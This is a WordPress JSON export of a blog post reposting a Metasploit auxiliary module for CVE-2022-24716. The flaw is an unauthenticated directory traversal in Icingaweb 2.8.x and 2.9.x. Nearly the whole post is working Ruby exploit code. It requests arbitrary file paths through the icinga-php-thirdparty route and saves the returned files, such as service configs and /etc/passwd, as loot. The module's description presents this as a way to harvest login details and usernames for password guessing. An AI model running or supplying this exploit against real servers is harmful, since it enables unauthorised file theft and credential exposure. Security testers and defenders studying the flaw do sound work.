{"id":59382,"date":"2024-09-01T23:40:35","date_gmt":"2024-09-01T20:40:35","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181207\/icinga_static_library_file_directory_traversal.rb.txt"},"modified":"2024-09-01T23:40:35","modified_gmt":"2024-09-01T20:40:35","slug":"icingaweb-directory-traversal-in-static-library-file-requests","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/icingaweb-directory-traversal-in-static-library-file-requests\/","title":{"rendered":"Icingaweb Directory Traversal In Static Library File Requests"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Icingaweb Directory Traversal in Static Library File Requests&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Icingaweb versions from 2.9.0 to 2.9.5 inclusive, and 2.8.0 to 2.8.5 inclusive suffer from an<br \/>unauthenticated directory traversal vulnerability. The vulnerability is triggered<br \/>through the icinga-php-thirdparty library, which allows unauthenticated users<br \/>to retrieve arbitrary files from the targets filesystem via a GET request to<br \/>\/lib\/icinga\/icinga-php-thirdparty\/&lt;absolute path to target file on disk&gt; as the user<br \/>running the Icingaweb server, which will typically be the www-data user.<\/p>\n<p>This can then be used to retrieve sensitive configuration information from the target<br \/>such as the configuration of various services, which may reveal sensitive login<br \/>or configuration information, the \/etc\/passwd file to get a list of valid usernames<br \/>for password guessing attacks, or other sensitive files which may exist as part of<br \/>additional functionality available on the target server.<\/p>\n<p>This module was tested against Icingaweb 2.9.5 running on Docker.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;Jacob Ebben&#8217;, # EDB<br \/>&#8216;Thomas Chauchefoin&#8217; # initial POC and discovery<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;EDB&#8217;, &#8216;51329&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.sonarsource.com\/blog\/path-traversal-vulnerabilities-in-icinga-web\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/Icinga\/icingaweb2\/security\/advisories\/GHSA-5p3f-rh28-8frw&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/Icinga\/icingaweb2\/commit\/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2022-24716&#8217;],<br \/>],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[&#8216;Icingaweb&#8217;, {}],<br \/>],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]},<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-05-09&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI of the Icinga Application&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;FILE&#8217;, [true, &#8216;File to retrieve&#8217;, &#8216;\/etc\/icinga2\/icinga2.conf&#8217;]) # https:\/\/icinga.com\/docs\/icinga-2\/latest\/doc\/04-configuration\/#configuration-overview<br \/>])<br \/>end<\/p>\n<p>def check_host(_ip)<br \/>res = send_request_cgi!(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path)<br \/>)<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Page didn&#8217;t load correctly (response code: #{res.code}), check TARGETURI\/port?&#8221;) unless res.code == 200<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Page doesn&#8217;t have a body, check TARGETURI\/port?&#8221;) if res.body.nil?<br \/>return Exploit::CheckCode::Detected(&#8220;#{peer} &#8211; Icinga Web 2 found, unable to determine version.&#8221;) if res.body.include?(&#8216;&lt;meta name=&#8221;application-name&#8221; content=&#8221;Icinga Web 2&#8243;&gt;&#8217;)<\/p>\n<p>return Exploit::CheckCode::Safe(&#8220;#{peer} &#8211; Web server found, but couldn&#8217;t detect Icinga&#8221;)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>vprint_status(&#8216;Attempting to retrieve file&#8217;)<br \/>res = send_request_cgi!(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;lib&#8217;, &#8216;icinga&#8217;, &#8216;icinga-php-thirdparty&#8217;, datastore[&#8216;FILE&#8217;])<br \/>)<\/p>\n<p>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Page didn&#8217;t load correctly. Most likely file doesn&#8217;t exist (response code: #{res.code})&#8221;) unless res.code == 200<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Page didn&#8217;t load correctly, no body found&#8221;) if res.body.nil?<br \/>if !res.body.empty?<br \/>print_good(res.body)<br \/>loot_path = store_loot(&#8216;icinga file&#8217;, &#8216;text\/plain&#8217;, ip, res.body, datastore[&#8216;FILE&#8217;])<br \/>print_good(&#8220;#{datastore[&#8216;FILE&#8217;]} saved to #{loot_path}&#8221;)<br \/>else<br \/>print_error(&#8216;Response has 0 size.&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Icingaweb Directory Traversal in Static Library File Requests&#8217;,&#8216;Description&#8217; =&gt; %q{Icingaweb versions from 2.9.0 to 2.9.5 inclusive, and 2.8.0 to 2.8.5 inclusive suffer from anunauthenticated directory traversal vulnerability. The vulnerability is triggeredthrough the icinga-php-thirdparty library, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59382","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59382"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59382\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}